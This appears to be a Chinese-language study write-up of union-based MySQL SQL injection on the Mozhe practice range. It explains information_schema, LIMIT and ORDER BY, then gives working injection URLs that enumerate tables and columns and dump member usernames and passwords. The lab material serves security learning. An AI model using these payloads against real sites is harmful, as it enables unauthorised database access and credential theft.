注:MYSQL5.0以上为高版本,5.0以下为低版本
MYSQL相关知识
1.MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。
2.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
3.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
4.常用参数
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
5.MySQL 里分页一般用 LIMIT 来实现:
select* from article LIMIT 1,3 与 select * from article LIMIT 3 OFFSET 1
上面两种写法都表示取 2、3、4 三条条数据:
当 LIMIT 后面跟两个参数的时候,第一个数表示要跳过的数量,后一位表示要取的数量,例如:
select* from article LIMIT 1,3 就是跳过 1 条数据,从第 2 条数据开始取,取 3 条数据,也就是取 2、3、4 三条数据。
当 LIMIT 后面跟一个参数的时候,该参数表示要取的数据的数量。
例如 select* from article LIMIT 3 表示直接取前三条数据,类似 sqlserver 里的 top 语法。
当 LIMIT 和 OFFSET 组合使用的时候,LIMIT 后面只能有一个参数,表示要取的的数量,OFFSET表示要跳过的数量 。
例如 select * from article LIMIT 3 OFFSET 1 表示跳过 1 条数据,从第 2 条数据开始取,取3条数据,也就是取 2、3、4 三条数据。
墨者mysql靶场
点击平台停机维护通知
1.利用order by判断字段数,为下一步的union select做准备
构造order by 5时页面显示空白,说明有四列
order by:
数据库
COL_A COL_B
---------- ----------
A 1
D 5
B 3
C 4
order by 1 按第一列排(默认升序) ps:降序order by 1 desc
COL_A COL_B
---------- ----------
A 1
B 3
C 4
D 5
order by 2 按第二列排(默认升序)
此时ord by 3报错
总结:
order by A,B 这个时候都是默认按升序排列 order by A desc,B 这个时候 A 降序,B 升序排列 order by A ,B desc 这个时候 A 升序,B 降序排列
即 desc 或者 asc 只对它紧跟着的第一个列名有效,其他不受影响,仍然是默认的升序。
并且可以通过ord by x来判断有有几列
2.利用 union select 1,2,3,4 联合查询,将id值设置成不成立(id=-1/id=1 and 假),即可探测到可利用的字段数
可以发现第二列和第三列的数据是可获取的
这里用到的知识 sql注入中的union select 1,2,3...._北遇-优快云博客
3.信息收集
将2,3替换为要查询的信息
获取数据库版本:version()
获取数据库名字:database()
获取数据库用户:user()
获取操作系统:@@version_compile_os Linux
4.查询数据库表
#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
#查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
发现登录不行
#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
ok!